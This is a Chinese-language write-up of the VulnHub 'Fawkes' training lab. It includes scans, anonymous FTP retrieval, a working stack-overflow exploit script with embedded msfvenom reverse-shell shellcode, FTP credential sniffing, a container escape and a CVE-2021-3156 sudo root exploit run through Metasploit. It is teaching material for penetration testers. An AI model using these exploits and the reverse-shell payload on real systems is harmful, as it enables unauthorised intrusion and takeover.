靶机介绍

1)靶机地址:https://download.vulnhub.com/harrypotter/Fawkes.ova

2)靶机难度:高

3)打靶目标: 取得 2 个root 权限 + 3 Flag

4)涉及攻击方法:主机发现、端口扫描、WEB信息收集、FTP服务攻击、缓冲区溢出、模糊测试、漏洞利用代码编写、流量转包分析、堆溢出漏洞攻击、Metasploit(MSF)、手动修复EXP代码、本地提权

5)靶机简介:WEB漏洞对于攻破本靶机毫无用处,将通过信息收集,获取目标服务的私有程序,进而挖掘其中的 0 Day漏洞,并独立编写漏洞的利用代码。抓包嗅探通常被认为是蓝队的技能要求,但事实上一旦进入内网,很多时候抓包都能提供全新的攻击角度。通过流量分析,有可能直接获取到明文的身份认证和机密的业务数据,而这往往是大多数红队成员的技术盲区,不仅如此,接下来我们还需要突破容器的限制,登录真正的目标靶机系统。提权阶段虽然特征指向明显,但会发现全网所有的漏洞利用代码全部无效,因此必须手动修复其中的Bug,至此才算真正的打靶成功。

6)参考资料:

https://blog.qualys.com/vulnerabilities-threat-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
https://github.com/worawit/CVE-2021-3156

打靶过程

1)主机发现

# arp-scan -l

2)全端口扫描

# nmap -p- 192.168.56.120

3)对扫描出的端口进行服务版本扫描

# nmap -p21,22,80,2222,9898 -sC -sV 192.168.56.120

扫描端口服务版本信息显示:vsftpd服务支持匿名登录,且在服务器存在一个server_hogrts文件,同样系统上扫描出了两个ssh服务,且ssh版本不一致

4)搜索vsftpd3.0.3的已知漏洞

# searchsploit vsftpd 3.0.3

搜索结果显示,只是一个远程服务拒绝漏洞,无法对获取系统权限有帮助

5)通过浏览器访问目标靶机的80-端口,只有一张图片显示,且通过dirsearch进行目录爬取,无法爬取到任何信息

浏览器:http://192.168.56.120/
# dirsearch -u http://192.168.56.120

6)通过ftp的匿名登录进行登录

# ftp 192.168.56.120
Name (192.168.56.120:root): anonymous          #用户名输入anonymous
Password:                                      #密码输入为空
ftp> ls
ftp> get server_hogwarts                       #下载文件内容
ftp> cd ../                                    #尝试切换目录,发现无效

7)先查看下载的文件类型

# file server_hogwarts

ELF是linux的可执行程序

8)赋予该文件可执行权限,并执行

# chmod +x server_hogwarts
# ./server_hogwarts

9)执行该文件后,会卡住,在kali查看该文件是否被执行,且该进程开发的端口是多少

# ps aux|grep server
# ss -pantu|grep server

发现该程序开放了一个9898端口,根据之前的端口扫描,发现在靶机同样开发一个9898端口

10)通过nc连接本地和目标靶机的9898端口

# nc 127.0.0.1 9898
# nc 192.168.56.120 9898

功能:提交字符,返回字符

通过nc连接发现,两种显示结果都一样,所以可以判断靶机开放的9898端口就是因为server_hogwarts该程序

开启ALSR后:程序在每次运行时,在内存种占用的地址都是不一样的(内存地址随机化的的安全技术)

11)为保证对程序漏洞的挖掘,先关闭kali本机的ALSR(kali本机存在ALSR安全技术,地址空间随机化,会造成内存地址的随机化,导致我们无法确定缓冲区溢出的位置。所以要关闭)

# cd /proc/sys/kernel
# cat randomize_va_space
# echo 0 > randomize_va_space 

12)安装调试工具

之前打靶使用的是gdb调试工具,gdb工具是一个基于命令行的调试工具,edb-debugger是一个图形化界面的调试工具

# apt install edb-debugger

13)edb-debugger工具使用

①先启动本次需要漏洞挖掘的程序

# ./server_hogwarts

②打开edb-debugger工具,点击file-attach,选择需要漏洞挖掘的程序

③调试工具连接到程序后,点击run

④连接程序

# nc 127.0.0.1 9898

⑤对其发送一些注入请求,在其唯一能够注入数据的地方注入一些内容,通过python生成500A

# python -c "print('A'*500)"

⑥将500A注入程序输入位置后,查看程序是否能够继续响应

输入500A后,在调试器edb-debugger中出现了报错

该报错信息显示:在内存的EIP寄存器已经直接被覆盖成0x41414141的内容了,而41就是字母A的ASCII编码的数值。出现该现象说明此处99%存在缓冲区溢出漏洞,说明该程序对内存空间的使用没有做很好的限制,因此导致该变量的内容超出了自己的内存范围,覆盖了EIP寄存器

点击ok后

通过上图显示,出EIP寄存器被覆盖A后,在ESP寄存器也被覆盖了A,所以此处可100%确定存在缓冲区漏洞

EIP寄存器是存放接下来CPU所要执行代码的内存地址,而ESP寄存器是存放具体的代码。如果两个寄存器的内容都可以覆盖,那么只要找到一个跳转到ESP寄存器的指令所在内存空间的地址,然后将这条指令的地址写入到EIP寄存器,从而利用这个jump ESP指令,强制CPU去执行ESP寄存器中的程序的代码(如果此处是一个反弹shell的代码,就可以通过这个缓冲区溢出漏洞去执行反弹shell代码)

14)确定存在缓冲区漏洞后,此时就要确定,在EIP寄存器中的AAAA是在之前注入的500个A的那个位置,确定位置后,就可以在提交数据时写入自己想要写的内容

利用msf-pattern_create工具生成一串不重复的500个字符的序列
# msf-pattern_create -l 500

15)重启启动程序和edb调试工具,选择同样的方法注入上述的500个字符

此时在EIP寄存器中,值变为了64413764

16)查找64413764是在500个字符序列的那个位置

# msf-pattern_offset -l 500 -q 64413764

根据查询发现64413764在500个字符中的第112为后,即113、114、115、116

17)通过脚本进一步验证,注入的具体的代码的内容

#!/usr/bin/python
import sys,socket
payload = 'A'*112 + 'B'*4 + 'C'*32
try:
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(('127.0.0.1',9898))
    s.send(payload)
    s.close()
except:
    print("Wrong!")
    sys.exit()

#chmod +x exp.py

如果四个B被成功的写入了EIP寄存器,那么就说明可以在EIP寄存器中写入任何内容

18)重新启动程序,重新启动edb调试工具,运行脚本

19)在程序中找到一条jump to ESP的指令的内存地址

上述查找时,必须找到可执行权限的当前程序,选择跳转到ESP的指令,进行查找,查找后出现了0x08049d55的地址,该内存地址中存放的指令就是jump to ESP寄存器

20)0x08049d55地址要想加入到注入代码的payload中,由于内存地址是从地位到高位读取,所以要写成\x55\x9d\x04\x08 ,再将该地址写入到python注入脚本中

①先通过msfvenom生成一个linux的32位操作系统的反弹shell的代码,且反弹回连的主机IP为192.168.56.104,端口为4444,且输出为python的语言的格式

-b "\x00" 表示过滤到空字符,因为当cpu读取到该字符时,说明程序已经结束了,不再执行后续的指令了

# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.103 LPORT=4444 -b "\x00" -f py

②重新编辑注入脚本,应用上面生成的反弹shell代码

其中\x90表示空指令,加入32位或者64位的空指令,可以使得后面的buf指令执行的更加稳定,不会影响程序代码的执行

# cat exp.py 
#!/usr/bin/python
import sys,socket

buf =  b""
buf += b"\xbf\x41\xb9\x2a\xcc\xda\xd3\xd9\x74\x24\xf4\x5a"
buf += b"\x33\xc9\xb1\x12\x31\x7a\x12\x83\xc2\x04\x03\x3b"
buf += b"\xb7\xc8\x39\x8a\x1c\xfb\x21\xbf\xe1\x57\xcc\x3d"
buf += b"\x6f\xb6\xa0\x27\xa2\xb9\x52\xfe\x8c\x85\x99\x80"
buf += b"\xa4\x80\xd8\xe8\xf6\xdb\x23\x8f\x9e\x19\x54\x5e"
buf += b"\x03\x97\xb5\xd0\xdd\xf7\x64\x43\x91\xfb\x0f\x82"
buf += b"\x18\x7b\x5d\x2c\xcd\x53\x11\xc4\x79\x83\xfa\x76"
buf += b"\x13\x52\xe7\x24\xb0\xed\x09\x78\x3d\x23\x49"

payload = 'A'*112 + '\x55\x9d\x04\x08' + '\x90'*32 + buf
try:
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('127.0.0.1',9898))
    s.send(payload)
    s.close()
except:
    print("Wrong!")
    sys.exit()

21)重新运行程序,在kali主机监听4444端口,并执行python漏洞利用代码

22)升级获取到的shell,因目标系统没有python,所以无法使用python升级shell。最终通过/bin/sh -i获取到一个shell后,查看当前获取到的账号的信息

在当前目录下存在一个.mycreds.txt的文件,打开文件时一串字符串,当前账号是harry账号,所以怀疑该字符串有可能是harry账号的密码

23)通过ssh进行登录目标靶机(使用账号:harry 密码:HarrYp0tter@Hogwarts123)

端口扫描时发现,目标靶机开放了两个端口的ssh服务

①先连接22端口的ssh服务:连接失败

# ssh harry@192.168.56.120

②通过ssh连接目标靶机的2222端口

# ssh harry@192.168.56.120 -p 2222

24)查看靶机发现:该靶机IP是一个内网IP,且在根目录下发现了.dockerenv,此时可判断该主机是一个docker容器

25)通过信息搜集:发现该用户不需要密码即可切换到root用户

$ uname -a
$ sudo -l

26)切换至root用户

$ sudo /bin/sh
# id

27)以root用户的身份信息,在当前容器主机进行信息搜集,

在/root目录下发现了一个flag文件,并且根据note.txt的文件信息提示,需要对ftp服务进行抓包分析找到登录ftp服务器的用户

28)抓包分析

# tcpdump -i eth0 port 2

在抓包分析中,获取到了一个用户名neville和密码bL!Bsg3k

29)通过用户名neville和密码bL!Bsg3k和密码使用ssh协议登录靶机

# ssh neville@192.168.56.120

登录成功后,查看IP地址,发现该主机就是靶机地址

30)对靶机进行信息搜集:未发现可提权的漏洞信息

31)百度搜索发现了一个针对sudo操作系统命令中存在的一个基于堆的溢出漏洞,该漏洞存在于sudo命令之中。且漏洞适用于Ubuntu 20.04 (Sudo 1.8.31), Debian 10 (Sudo 1.8.27), and Fedora 33 (Sudo 1.9.2)操作系统中

漏洞参考链接:https://blog.qualys.com/vulnerabilities-threat-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit

32)查看目标靶机的操作系统版本位debian10,sudo版本为1.8.17,是符合上述漏洞的操作系统和sudo版本的

neville@Fawkes:~$ lsb_release -a
$ sudo --version

33)代码验证,如果返回如下字符,说明存在该漏洞

$ sudoedit -s '\' `perl -e 'print "A" x 65536'`

34)在MSF中利用该漏洞编号进行漏洞代码的搜索

# msfconsole
msf6 > search CVE-2021-3156

在MSF中搜索到一个漏洞利用代码,但是查看该漏洞利用代码需要设置的参数:发现需要先指定一个session。建立一个会话后,才能通过这个会话,远程的向目标服务器发送漏洞利用代码,并执行它。因为该漏洞利用代码是一个本地提权的漏洞,所以需要先登录到目标服务器后,才能使用该漏洞利用代码

35)在MSF中利用ssh的账号和密码建立一个会话

> use auxiliary/scanner/ssh/ssh_login
> set PASSWORD bL!Bsg3k
> set USERNAME neville
> set RHOSTS 192.168.56.120
> run

36)漏洞利用

> search CVE-2021-3156
> use 0
> show options
> set session 1
> run

漏洞利用过程中发现,无法成功利用漏洞,但是MSF显示该靶机漏洞存在,出现上述问题根本性的原因:因为该漏洞是存在于sudo命令中的,但是默认情况下sudo命令的位置为/usr/bin/sudo,但是靶机的sudo命令路径为/usr/local/bin/sudo。因为路径问题,导致无法利用成功

37)从如下地址下载漏洞利用代码后,修改sudo默认的路径

地址:https://github.com/worawit/CVE-2021-3156
# vim exploit_nss.py

38)在目标靶机接受脚本文件后执行,提权至root权限,获取到flag

目标靶机:
$ nc -nvlp 4444 >exp.py
kali主机:
# nc 192.168.56.120 4444 < exploit_nss.py -w 1